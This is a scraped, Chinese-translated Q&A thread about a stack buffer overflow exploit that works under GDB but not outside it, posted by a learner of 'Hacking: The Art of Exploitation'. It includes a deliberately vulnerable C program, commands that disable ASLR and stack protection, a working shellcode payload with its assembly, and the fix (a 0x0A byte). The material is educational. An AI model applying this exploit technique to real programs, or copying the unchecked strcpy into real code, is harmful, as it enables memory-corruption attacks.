没有GDB无法重现缓冲区溢出

baseman101

我已经尝试解决此问题已有一段时间了。我已经检查了一些具有类似问题的StackOverflow链接,但是这些修复似乎都不对我有用。出于某种原因,我的漏洞利用代码没有像我应该遇到的“分段错误”(如果我的漏洞利用代码不起作用)那样,根本不会产生该错误。我最初的假设是perl代码以某种方式仅产生了一点输出,因此不会溢出到堆栈上,但是我通过将perl命令的输出传递到文件中证明了这是错误的。

但是,我无法在GDB中重现此问题。据我了解,GDB禁用了ASLR,但是我已经通过以下命令在系统中(暂时)禁用了ASLR。我知道此命令有效,因为我正在打印出变量&buff的地址,并且在多次运行中都不会改变。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

我还对可执行文件禁用了堆栈金丝雀保护:

gcc -g -m32 -fno-stack-protector -z execstack exploit.c

正如我之前所说,我的漏洞利用程序在GDB中运行完美。这是我的可利用程序,我将向您展示我的可利用代码。

漏洞利用

int checkFunc(char *c) {
    char buff[32];
    printf("0x%08x\n", &buff);
    strcpy(buff, c);
    if(strcmp(buff, "test") == 0) return 1;
    else return 0;
}

int main(int argc, char *argv[]) {
    int result = checkFunc(argv[1]);
    if(result == 1) printf("Access granted\n");
    else printf("Access denied\n");
    return 0;
}

GDB输出的[有效]漏洞利用代码

(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn

定期输出漏洞利用代码

chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied

是的,我已经考虑到了返回地址的更改(GDB添加了额外的环境变量)。这就是为什么我会在程序中打印出返回地址而被欺骗的原因,以便我知道不使用GDB的确切值是什么。

如果有人认为漏洞利用代码某种程度上是错误的,那么我也将发布汇编代码。

xor    edx,edx   ;xor so we don't have to use a null terminator in our code
xor    ecx,ecx
xor    ebx,ebx
push   edx       ;push the null terminator to the stack
push   0xa6e7770 ;push our string pwn\n to the stack
mov    dl,0x4 
mov    ecx,esp
mov    bl,0x1
mov    al,0x4
int    0x80      ;print our string
jmp    eip - 1   ;keep on looping!

提前非常感谢您!我已经坚持了几个小时了。就像你们知道的那样,我已经编写了这个可利用的程序来了解“黑客:利用的艺术”中的缓冲区溢出。

baseman101

对于将来有这个问题的任何人...

我在程序中遇到的问题是缓冲区中的0x0A字符。出于某种原因,GDB将其视为简单的换行符,但在正常运行程序时,会将其视为空字符。我通过将换行符更改为其他字符来解决了该问题。感谢您的帮助,Jester,EOF和Michael帮助我朝着正确的方向发展,并帮助我编写了更好的代码:)。

(gdb) x/32x &buff
0xbffff130:     0x90    0x90    0x31    0xd2    0x31    0xc9    0x31    0xdb
0xbffff138:     0x31    0xc0    0x52    0x68    0x70    0x77    0x6e    0x00
0xbffff140:     0x20    0xec    0xfc    0xb7    0x2d    0x86    0x04    0x08
0xbffff148:     0x64    0xf1    0xff    0xbf    0x00    0x00    0x00    0x00

如您所见,字节0x00在字符串15处终止了字符串,因此,数组的其余部分具有未初始化的值。

我假设程序认为我正在为命令行参数做一个实际的换行,但我们都知道并非如此;)。

为了解决这个问题,我只是用另一个值替换了换行符。不幸的是,我不知道如何在不引起问题的情况下将换行符合并到我的程序中。我想到了以下hacky解决方案来进行补偿。将换行符的值减一(0x9)放入寄存器,然后在寄存器上调用inc操作码,并将其压入堆栈。

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

没有GDB无法重现缓冲区溢出

来自分类Dev

缓冲区溢出时程序没有崩溃

来自分类Dev

缓冲区溢出时程序没有崩溃

来自分类Dev

有没有办法在我的机器上停用缓冲区溢出保护?

来自分类Dev

为什么printf没有在缓冲区溢出中打印出字符串?

来自分类Dev

程序没有为缓冲区溢出返回预期的 pc 注册表地址

来自分类Dev

尝试缓冲区溢出

来自分类Dev

发生缓冲区溢出

来自分类Dev

防止缓冲区溢出

来自分类Dev

缓冲区溢出实现

来自分类Dev

缓冲区溢出漏洞

来自分类Dev

试验缓冲区溢出

来自分类Dev

缓冲区溢出漏洞

来自分类Dev

试验缓冲区溢出

来自分类Dev

缓冲区溢出 C

来自分类Dev

为什么C没有像strcpy()这样使用函数并自动检查缓冲区大小以防止缓冲区溢出错误?

来自分类Dev

为什么C没有像strcpy()这样使用函数并自动检查缓冲区大小以防止缓冲区溢出错误?

来自分类Dev

Ubuntu是否有Exec Shield缓冲区溢出保护?

来自分类Dev

缓冲区溢出/溢出说明?

来自分类Dev

缓冲区溢出/溢出说明?

来自分类Dev

在Ubuntu上禁用堆栈保护以防止缓冲区溢出而没有C编译器标志

来自分类Dev

没有glVertexPointer,通用顶点属性缓冲区似乎无法工作

来自分类Dev

没有glVertexPointer,通用顶点属性缓冲区似乎无法正常工作

来自分类Dev

缓冲区溢出缓冲区长度

来自分类Dev

强制缓冲区溢出以了解

来自分类Dev

利用缓冲区溢出读取操作

来自分类Dev

缓冲区溢出利用示例

来自分类Dev

Eclipse缓冲区溢出Google Glass

来自分类Dev

缓冲区溢出是否仍然存在?